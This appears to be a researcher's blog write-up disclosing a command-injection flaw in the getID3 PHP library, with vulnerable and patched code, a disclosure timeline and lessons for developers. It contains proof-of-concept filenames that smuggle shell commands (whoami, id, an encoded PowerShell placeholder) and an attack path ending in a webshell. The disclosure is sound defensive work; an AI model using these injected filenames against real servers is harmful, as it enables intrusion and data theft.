October 28, 2026
Pwning 15M+ Systems by Renaming a Song: From a CMS Audit to an Upstream RCE in getID3โฆ
The Gist
By Shaikikram
9 min read
The Gist
You upload a song to a website. The website reads the file's metadata โ title, artist, duration. Normal stuff.
But what if the filename itself was the attack?
That's exactly what this vulnerability is. A popular PHP library called getID3 โ used by millions of websites to handle audio and video files โ takes the filename you give it and passes it directly to a system command running on the server. No checks. No sanitization. Just raw input going straight into the shell.
So instead of naming your file song.ogg, you name it something crafted with shell characters. The server doesn't see a filename anymore โ it sees instructions. And it follows them.
The result: anyone with file upload access can execute arbitrary commands on the server. Read files. Drop backdoors. Own the box. All from renaming an audio file.
The kicker? The fix was a single function call โ escapeshellarg() โ that was already being used on the Linux code path in the exact same file. The Windows path just... forgot it.
This is CVE-2026โ94106, rated CVSS 8.8 / High, affecting getID3 versions before 1.9.26 โ a library with over 14.7 million downloads on Composer alone.
Researcher: Ikram (@Ikram-4) CVE: CVE-2026โ94106 GitHub Advisory (ClassicPress): GHSA-xwc9โ6xg2-g55f GitHub Advisory (getID3): GHSA-qf3m-pmjh-h6fx Severity: High โ CVSS 3.1: 8.8 (
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) CWE: CWE-78 (OS Command Injection) Affected: getID3 < v1.9.26 Patched In: getID3 v1.9.26 โ commits 2c6f3f9 & ce598c4 Disclosed: September 2026
1. How It Started: A CMS Bug Report
This vulnerability wasn't found by fuzzing. It was found by reading code.
During a security audit of ClassicPress โ an open-source fork of WordPress โ I was reviewing how the platform handles media file uploads. ClassicPress bundles several third-party PHP libraries directly in its core codebase, and one of them caught my eye: getID3.
My initial report went to the ClassicPress security team on September 4, 2026, describing what appeared to be a command injection in their bundled copy. The ClassicPress maintainer @mattyrob responded quickly and professionally, acknowledging the report โ but also pointing out something critical:
"getID3 is an external package that is used within ClassicPress (and likely other software solutions) and this code as indicated seems to be present in the most recent version."
This changed everything. This wasn't a ClassicPress bug. ClassicPress had faithfully bundled the upstream getID3 library โ and the bug was in getID3 itself.
That meant every project using getID3 was potentially affected: not just ClassicPress, but the entire ecosystem of PHP applications that depend on it.
2. What is getID3?
getID3 is one of the oldest and most battle-tested PHP libraries for multimedia metadata. It can read and write metadata for over 30 audio and video formats: MP3, OGG, FLAC, WAV, MP4, AVI, and dozens more.
It is not a niche library. It is embedded deep into the PHP ecosystem:
- Bundled into WordPress core under
wp-includes/ID3/โ making it present on hundreds of millions of websites - Downloaded over 14.7 million times via Composer (
james-heinrich/getid3on Packagist) - Used by Joomla, Drupal, TYPO3, and countless custom PHP media applications
- Part of the default stack for any PHP application that handles audio or video uploads
When you use the WordPress or ClassicPress media library to upload an .mp3, .ogg, or .flac file, getID3 runs in the background to extract metadata (bitrate, duration, album art, etc.) and optionally write tags back to the file.
3. Finding the Real Root Cause: Code Review
The journey from "ClassicPress bug" to "upstream supply-chain vulnerability" came down to careful source code reading.
Starting Point: The Media Upload Pipeline
When a user uploads an audio file in ClassicPress, the platform calls into getID3's writing modules to handle metadata. For Ogg/Vorbis files specifically, getID3 needs to invoke vorbiscomment โ an external command-line binary that actually edits the Vorbis comment tags inside .ogg files.
This is done inside getid3/getid3.php and getid3/write.vorbiscomment.php.
The Code Review That Found the Bug
Opening getid3/getid3.php around line 1816, I found a function that builds the shell command for vorbiscomment. There are two branches: one for Windows, one for Linux.
// ============================================================
// WINDOWS PATH (VULNERABLE)
// ============================================================
$commandline = '"' . GETID3_HELPERAPPSDIR . 'vorbiscomment.exe" -w -c "'
. $empty . '" "'
. $file . '" "' // <-- $file is the user-supplied filename
. $temp . '"';
// ============================================================
// LINUX PATH (SAFE)
// ============================================================
$commandline = 'vorbiscomment -w -c '
. escapeshellarg($empty) . ' '
. escapeshellarg($file) . ' ' // <-- same $file, but properly escaped
. escapeshellarg($temp) . ' 2>&1';// ============================================================
// WINDOWS PATH (VULNERABLE)
// ============================================================
$commandline = '"' . GETID3_HELPERAPPSDIR . 'vorbiscomment.exe" -w -c "'
. $empty . '" "'
. $file . '" "' // <-- $file is the user-supplied filename
. $temp . '"';
// ============================================================
// LINUX PATH (SAFE)
// ============================================================
$commandline = 'vorbiscomment -w -c '
. escapeshellarg($empty) . ' '
. escapeshellarg($file) . ' ' // <-- same $file, but properly escaped
. escapeshellarg($temp) . ' 2>&1';The asymmetry is jarring. The Linux developer โ whoever wrote that branch โ clearly understood the danger and used escapeshellarg() on all three arguments. The Windows developer did not.
The Windows branch uses raw string concatenation with manual double-quotes. $file (which originates from the uploaded media filename) is pasted directly into the shell command. This is textbook CWE-78.
Tracing the Data Flow
To confirm this was exploitable end-to-end, I traced where $file comes from:
User uploads file โ filename stored as string
โ passed to getID3 tag-writing API as $this->filename
โ assigned to $file in the shell command builder
โ concatenated raw into $commandline
โ executed via shell_exec($commandline)User uploads file โ filename stored as string
โ passed to getID3 tag-writing API as $this->filename
โ assigned to $file in the shell command builder
โ concatenated raw into $commandline
โ executed via shell_exec($commandline)Zero sanitization at any point in that chain. The filename travels from the HTTP request to shell_exec() intact.
The Same Bug in write.vorbiscomment.php
The same pattern appears in getid3/write.vorbiscomment.php around lines 85โ110 โ a parallel implementation of the same shell-out, with the same missing escapeshellarg() on the Windows branch:
// write.vorbiscomment.php (Windows branch โ VULNERABLE)
$commandline = GETID3_HELPERAPPSDIR
. 'vorbiscomment.exe -w --raw -c "'
. $tempcommentsfilename . '" "'
. $this->filename . '" 2>&1'; // <-- raw user-controlled path
$VorbiscommentError = shell_exec($commandline);// write.vorbiscomment.php (Windows branch โ VULNERABLE)
$commandline = GETID3_HELPERAPPSDIR
. 'vorbiscomment.exe -w --raw -c "'
. $tempcommentsfilename . '" "'
. $this->filename . '" 2>&1'; // <-- raw user-controlled path
$VorbiscommentError = shell_exec($commandline);And the same bug was found in getid3/module.audio.shorten.php โ three files in total. The vulnerability had been silently sitting in the codebase, in plain sight, for years.
4. The Vulnerability Explained
Why Double-Quoting Is NOT Sufficient
Many developers believe that wrapping a variable in double quotes in a shell command makes it safe. It does handle spaces in filenames โ but it does not handle the double-quote character itself.
In Windows cmd.exe and in Linux sh/bash, double-quoted strings still respect certain special characters. If the string being injected contains a ", the quote closes early, and everything after it is interpreted as raw shell syntax.
Consider the intended command for a normal filename:
"vorbiscomment.exe" -w -c "C:\tmp\tags.txt" "C:\uploads\song.ogg" "C:\tmp\out.ogg""vorbiscomment.exe" -w -c "C:\tmp\tags.txt" "C:\uploads\song.ogg" "C:\tmp\out.ogg"Now imagine the user-supplied filename is:
song.ogg" & whoami > C:\inetpub\wwwroot\pwned.txt & echo "song.ogg" & whoami > C:\inetpub\wwwroot\pwned.txt & echo "The actual command that gets executed becomes:
"vorbiscomment.exe" -w -c "C:\tmp\tags.txt" "C:\uploads\song.ogg" & whoami > C:\inetpub\wwwroot\pwned.txt & echo "" "C:\tmp\out.ogg""vorbiscomment.exe" -w -c "C:\tmp\tags.txt" "C:\uploads\song.ogg" & whoami > C:\inetpub\wwwroot\pwned.txt & echo "" "C:\tmp\out.ogg"Windows cmd.exe parses this as three separate commands chained with &:
"vorbiscomment.exe" -w -c "..." "..."โ runs vorbiscomment (may fail on a non-Vorbis file โ doesn't matter)whoami > C:\inetpub\wwwroot\pwned.txtโ executes arbitrary command, writes output to web-accessible fileecho "" "..."โ cleanup
The Critical Point: Failure Doesn't Stop the Payload
The injected command executes regardless of whether vorbiscomment.exe succeeds. The shell command separator (& on Windows, ; on Linux) means "run the next command no matter what." Even if vorbiscomment exits with an error because it can't parse the file, the attacker's payload has already fired.
5. Proof of Concept
Environment
To verify the vulnerability, I constructed the exact command line that getID3's Windows branch generates โ replicating the cmd.exe-style double-quote concatenation โ and ran both the vulnerable and safe versions side by side on a local Linux machine to prove the injection.
The payload injected into the filename:
/tmp/audio"; id > /tmp/rce_confirmed; echo "x/tmp/audio"; id > /tmp/rce_confirmed; echo "xVulnerable command (replicating the Windows branch โ raw string concatenation, no escaping):
"vorbiscomment" -w -c "/tmp/test_empty" "/tmp/audio"; id > /tmp/rce_confirmed; echo "x" "/tmp/test_temp""vorbiscomment" -w -c "/tmp/test_empty" "/tmp/audio"; id > /tmp/rce_confirmed; echo "x" "/tmp/test_temp"What the shell sees:
"vorbiscomment" -w -c "/tmp/test_empty" "/tmp/audio"โ runs vorbiscomment (fails or succeeds โ doesn't matter)- ; โ separator, runs next command unconditionally
id > /tmp/rce_confirmedโ payload executes- ; โ separator
echo "x" "/tmp/test_temp"โ cleanup, absorbs the trailing quote
Result โ RCE confirmed:
uid=1000(shaik) gid=1000(shaik) groups=1000(shaik),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),989(ollama)uid=1000(shaik) gid=1000(shaik) groups=1000(shaik),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),989(ollama)The id command ran and wrote its output to /tmp/rce_confirmed. Command injection confirmed.
Safe command (replicating the Linux branch โ with escapeshellarg()):
vorbiscomment -w -c '/tmp/test_empty' '/tmp/audio"; id > /tmp/rce_confirmed; echo "x' '/tmp/test_temp' 2>&1vorbiscomment -w -c '/tmp/test_empty' '/tmp/audio"; id > /tmp/rce_confirmed; echo "x' '/tmp/test_temp' 2>&1The entire malicious filename is wrapped in single-quotes by escapeshellarg(). The shell treats it as one literal argument โ no metacharacters are interpreted. vorbiscomment receives the full string as a filename, finds no such file, and exits with an error. No command injection. The control case holds.
Attack Path in the Wild
1. Attacker holds Author role (sufficient to upload media in ClassicPress/WordPress)
2. Attacker crafts a filename containing shell metacharacters:
mysong.ogg" & powershell -enc <base64_payload> & echo "
3. File is uploaded โ getID3's VorbisComment writer is triggered
4. Windows branch builds the unescaped command line and calls shell_exec()
5. cmd.exe processes the string and executes the injected commands
6. Attacker gets RCE as the web server/PHP process user
7. From there: read wp-config.php, drop a webshell, pivot internally1. Attacker holds Author role (sufficient to upload media in ClassicPress/WordPress)
2. Attacker crafts a filename containing shell metacharacters:
mysong.ogg" & powershell -enc <base64_payload> & echo "
3. File is uploaded โ getID3's VorbisComment writer is triggered
4. Windows branch builds the unescaped command line and calls shell_exec()
5. cmd.exe processes the string and executes the injected commands
6. Attacker gets RCE as the web server/PHP process user
7. From there: read wp-config.php, drop a webshell, pivot internally6. The Disclosure Journey
September 4 โ Initial Report to ClassicPress
I filed a private security advisory to ClassicPress via GitHub's security advisory feature. The ClassicPress maintainer @mattyrob responded the same day โ professionally, carefully, and correctly. He pointed out that the vulnerable code was in the upstream getID3 package, not in ClassicPress-specific code.
This is responsible disclosure done right on both sides: I reported properly through a private channel, and the maintainer directed the report to the correct root cause.
September 4โ5 โ Upstream Report to getID3
Since getID3 had no SECURITY.md or private vulnerability reporting enabled on GitHub at the time, I reached out to the maintainer James Heinrich through available channels and suggested he set up a private disclosure channel. I also raised Issue #503 to initiate the conversation publicly.
September 5 โ Upstream Patches Land
The getID3 maintainer responded quickly. Two commits fixed the issue across all affected files:
- 2c6f3f9 โ patched
getid3.php - ce598c4 โ patched
write.vorbiscomment.php,write.metaflac.php, andmodule.audio.shorten.php
September 8 โ ClassicPress Ships the Fix
ClassicPress maintainer @mattyrob coordinated directly with the getID3 maintainer and, once the upstream release was tagged, opened and merged PR #2680 into ClassicPress core.
September 21 โ CVE Assigned
I submitted the CVE request directly to MITRE for the upstream getID3 vulnerability. The CVE was assigned through VulnCheck CNA:
CVE-2026โ94106 โ OS Command Injection via unescaped filenames in getID3 < 1.9.26.
7. The Fix
The fix is clean and correct: apply escapeshellarg() to every variable that goes into a shell command โ no exceptions, no platform conditionals.
Before (Vulnerable)
// getid3.php โ Windows branch (vulnerable)
$commandline = '"' . GETID3_HELPERAPPSDIR . 'vorbiscomment.exe" -w -c "'
. $empty . '" "'
. $file . '" "'
. $temp . '"';
// write.vorbiscomment.php โ Windows branch (vulnerable)
$commandline = GETID3_HELPERAPPSDIR
. 'vorbiscomment.exe -w --raw -c "'
. $tempcommentsfilename . '" "'
. $this->filename . '" 2>&1';// getid3.php โ Windows branch (vulnerable)
$commandline = '"' . GETID3_HELPERAPPSDIR . 'vorbiscomment.exe" -w -c "'
. $empty . '" "'
. $file . '" "'
. $temp . '"';
// write.vorbiscomment.php โ Windows branch (vulnerable)
$commandline = GETID3_HELPERAPPSDIR
. 'vorbiscomment.exe -w --raw -c "'
. $tempcommentsfilename . '" "'
. $this->filename . '" 2>&1';After (Patched โ v1.9.26)
// getid3.php โ both platforms now use escapeshellarg()
$commandline = escapeshellarg(GETID3_HELPERAPPSDIR . 'vorbiscomment.exe')
. ' -w -c '
. escapeshellarg($empty) . ' '
. escapeshellarg($file) . ' '
. escapeshellarg($temp);
// write.vorbiscomment.php โ patched
$commandline = 'vorbiscomment -w --raw -c '
. escapeshellarg($tempcommentsfilename) . ' '
. escapeshellarg($this->filename) . ' 2>&1';// getid3.php โ both platforms now use escapeshellarg()
$commandline = escapeshellarg(GETID3_HELPERAPPSDIR . 'vorbiscomment.exe')
. ' -w -c '
. escapeshellarg($empty) . ' '
. escapeshellarg($file) . ' '
. escapeshellarg($temp);
// write.vorbiscomment.php โ patched
$commandline = 'vorbiscomment -w --raw -c '
. escapeshellarg($tempcommentsfilename) . ' '
. escapeshellarg($this->filename) . ' 2>&1';Why escapeshellarg() Works
escapeshellarg() wraps the entire argument in single-quotes. In POSIX shells (sh, bash), nothing inside single-quotes is interpreted โ no variables, no command substitution, no metacharacters. A literal single-quote inside the value is safely escaped as '''.
On Windows, PHP's escapeshellarg() wraps in double-quotes and escapes internal double-quotes as "" (the cmd.exe convention).
8. Impact & Blast Radius
CVSS 3.1 Score: 8.8 (High)
Who is Affected?
Any PHP application that:
- Allows user-controlled filenames
- Passes those filenames to getID3's tag-writing functions
- Runs on Windows (the
vorbiscomment.exepath) with getID3 < v1.9.26
This includes, but is not limited to:
- ClassicPress โ bundled getID3 in every installation
- Any PHP media management application using
james-heinrich/getid3< 1.9.26 via Composer - Custom file-handling platforms built on getID3
Download Scale
The james-heinrich/getid3 package has been downloaded over 15 million times via Composer (Packagist). This does not count direct downloads, Git clones, or applications that vendor the library without Composer. The actual exposure is significantly larger.
9. Lessons Learned
For Security Researchers
Trace the supply chain. When you find a bug in one project, ask: "Where does this code actually come from?" The real vulnerability here wasn't in ClassicPress โ it was in an upstream library that ClassicPress faithfully included. By pivoting from the downstream consumer to the upstream root cause, a single report became a fix that protected every project using getID3.
Read both code paths. The most telling sign of the bug was the asymmetry between the Windows and Linux branches. The Linux path had escapeshellarg() on every argument. The Windows path had none. When you see one branch being careful and the other being careless, that discrepancy is a red flag worth investigating.
Document control cases. The PoC included both the vulnerable command (which proved RCE) and the safe command (which proved the fix works). Showing both makes a disclosure irrefutable and gives the maintainer confidence in their patch.
For Developers
Never build shell commands by string concatenation. Use escapeshellarg() on every variable that touches a command string โ even if you think the input is controlled. If possible, replace shell-exec patterns with proc_open() using array-based argument lists, which bypass the shell interpreter entirely.
Keep your platform branches in sync. The Windows branch forgot something the Linux branch got right. Code review should catch asymmetry between platform-specific code paths โ it is often where bugs hide.
Set up a SECURITY.md and private reporting. At the time of discovery, getID3 had no private disclosure channel. Researchers who find vulnerabilities need a safe path to report them.
References
ResourceLink CVE Record https://www.cve.org/CVERecord?id=CVE-2026-94106
ClassicPress Advisory GHSA-xwc9โ6xg2-g55f
getID3 AdvisoryGHSA-qf3m-pmjh-h6fx
Fix Commit (getid3.php)2c6f3f96546f05746405872848114754ed7fe9b4
Fix Commit (write.vorbiscomment.php)ce598c4f3823441d878c5a7a2a9f2f703a3e10b6
Vulnerable Code (L85โ110)getid3/write.vorbiscomment.php
getID3 Issue #503https://github.com/JamesHeinrich/getID3/issues/503
ClassicPress PR#2680 https://github.com/ClassicPress/ClassicPress/pull/2680
Packagist getID3 https://packagist.org/packages/james-heinrich/getid3
CWE-78 Definition https://cwe.mitre.org/data/definitions/78.html
PHP escapeshellarg() https://www.php.net/manual/en/function.escapeshellarg.php
Discovered and responsibly disclosed by Ikram (@Ikram-4)
Discovered and responsibly disclosed by Ikram (@Ikram-4).